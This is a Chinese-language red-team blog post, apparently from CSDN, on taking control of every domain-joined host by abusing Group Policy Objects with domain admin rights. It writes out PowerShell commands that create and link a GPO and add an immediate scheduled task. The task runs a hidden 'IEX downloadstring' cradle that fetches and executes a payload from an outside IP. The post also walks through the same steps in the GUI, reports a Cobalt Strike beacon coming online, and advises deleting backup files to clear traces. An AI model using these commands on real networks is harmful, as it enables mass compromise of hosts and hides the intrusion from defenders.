利用页面链接打开cmd_利用GPO(组策略对象)批量控制域内主机

原创作者:Shanfenglan7

作者介绍:一个刚步入安全行业的人,乐意分享技术,乐意接受批评,乐意交流。希望自己能把抽象的技术用尽量具体的语言讲出来,让每个人都能看懂,并觉得简单。最后希望大家可以关注我的博客:shanfenglan.blog.csdn.net

前提

拥有更改某组策略的权限或者域管权限

能够达到的效果

一次性控制域内所有配置了指定组策略的主机

利用思路

这里借鉴三好学生的原话:

根据不同情况,有以下两种利用思路:

1、新建组策略,创建计划任务实现远程执行

  • 创建一个新的GPO并链接到对应的域

  • 备份GPO

  • 修改Backup.xml和gpreport.xml

  • 创建ScheduledTasks.xml

  • 还原GPO 强制客户端刷新策略

  • 清理操作痕迹第二步到第五步可以通过脚本直接实现

2、修改已有组策略,替换计划任务

  • 如果域控制器上已有策略并配置了计划任务

  • 不再需要注册,修改ScheduledTasks.xml就好

实现

这里我们分为两种实现方式,在图形化界面下与cmd命令行中。

1、cmd命令行环境下

有时候我们没有图形化界面就需要通过这种方式来实现,这时候假设我们有域管权限。

  • 创建GPO
    powershell -c new-gpo -name TestGPO1

20e7b668c94d89577f2786a29b58c7d7.png

  • 链接GPO
    powershell -c New-GPLink -Name TestGPO1 -Target ‘dc=test,dc=com’

c6852cb56c6d5dadb3823749089f4a0c.png

  • 修改GPO并添加即时任务
    即时任务会在组策略同步的时候强制执行一次,组策略每90分钟自动同步一次。

34e82ed23124c21aaea46e62204de5bc.png

以下命令需进入powershell执行:

Set-ExecutionPolicy Bypass -Scope Process #绕过执行策略ebc9c208f4d082909b22dfd88ab85c75.pngImport-Module C:\Users\Administrator\Desktop\1.ps1 #导入脚本文件
脚本文件下载地址:https://github.com/3gstudent/Homework-of-Powershell/blob/master/New-GPOImmediateTask.ps15021496ccccf153d94dc3fde55c5b045.png

New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO1 -SysPath '\\dc.test.com\sysvol\test.com' -CommandArguments ‘-nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('‘http://192.168.124.138:80/a'’))”‘ # 添加即时任务cca14453e175ecf58bccaeb6e59a298c.png/del /q /f ”{xxxxxx}“ # 删除对应的备份文件74308a2a334e849f07817b3137f2a51f.png

2、图形化界面实现

打开组策略管理,alt+r,在运行框内输入gpmc.msc即可进入,进入后如下图。f82d72670b98e2a68c2513fad2397ed9.png查看当前域加载了哪些组策略11a65fdae3688558b013c6b823f984d3.png

右键一个与域相关联的组策略点击编辑:7f572cf2c53560f4b94e6ce243da06e1.png进入计划任务这个选项dca21f64b3bb46442eef5ab537c480da.png在空白处右键点击创建即时任务7a7b91b069ea8eff912e545b6b9f5dfe.png填写任务名并切换到操作栏2a6ebd93523595ac41fcc692d91c0e90.png新建任务即可77e4d4b3eefa8d3987384c55e16208fa.png点完确定后会返回这个页面,切记要在这个页面点回车,而不是点右上角的叉。34cd07f993224267825384e4fe88a422.png以上操作做完之后,可以在客户机使用gpupdate /force命令强制同步组策略,这时候就会看到CS上线了。也可以等待90分钟组策略也会自动同步。

其他知识

关于GPO文件的琐碎知识

{6AC1786C-016F-11D2-945F-00C04fB984F9}对应Default Domain Controllers Policy
{31B2F340-016D-11D2-945F-00C04FB984F9}对应Default Domain Policyc63927d40b3eedb62cbd6aab09ff0915.png计划任务的配置文件放在如下的地方,就是图中的xml文件6417a3a5bda379390c3361ee26475257.png文件内容大约是这个样子23602fc72c370c31a501bb85844ed506.png

powershell函数传参相关

但我们要传输powershell命令的时候,如果参数重含有单引号" ’ ",这时候我们需要转义它,转义的方式为在它前面再加一个单引号。且powershell函数传参数的时候,尽量中单引号扩起来,系统只会将两个单引号之间的内容当作字符串传输,而不是当作命令,进而降低了出错概率。

其他GPO常见操作

通用操作如下:

加载GroupPolicy模块:

Import-Module GroupPolicy –verbose获得所有GPO的内容:

Get-GPO -All将所有GPO导出为一个HTML报告:

Get-GPOReport -All -ReportType html -Path C:\GposReport\GposReport.html将每个GPO单独导出一个HTML报告:

Get-GPO -All | %{ Get-GPOReport -name $_.displayname -ReportType html -path ("c:\GPOReports\"+$_.displayname+".html") }

查看指定GPO的权限设置:

Get-GPPermission -Name "TestGPO1" -All备份指定GPO:

Backup-Gpo -Name TestGPO1 -Path C:\GpoBackups备份所有GPO:

Backup-Gpo -All -Path "c:\GpoBackups"还原指定GPO:

Restore-GPO -Name TestGPO1 -Path C:\GpoBackups还原所有GPO:

Restore-GPO -All -Path "c:\GpoBackups"


扫描关注乌云安全

5c78876641708a775e999b52f3a2c056.png


觉得不错点个“赞”、“在看”哦4780bd501fa5f83119782d4f47d1bddd.png

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值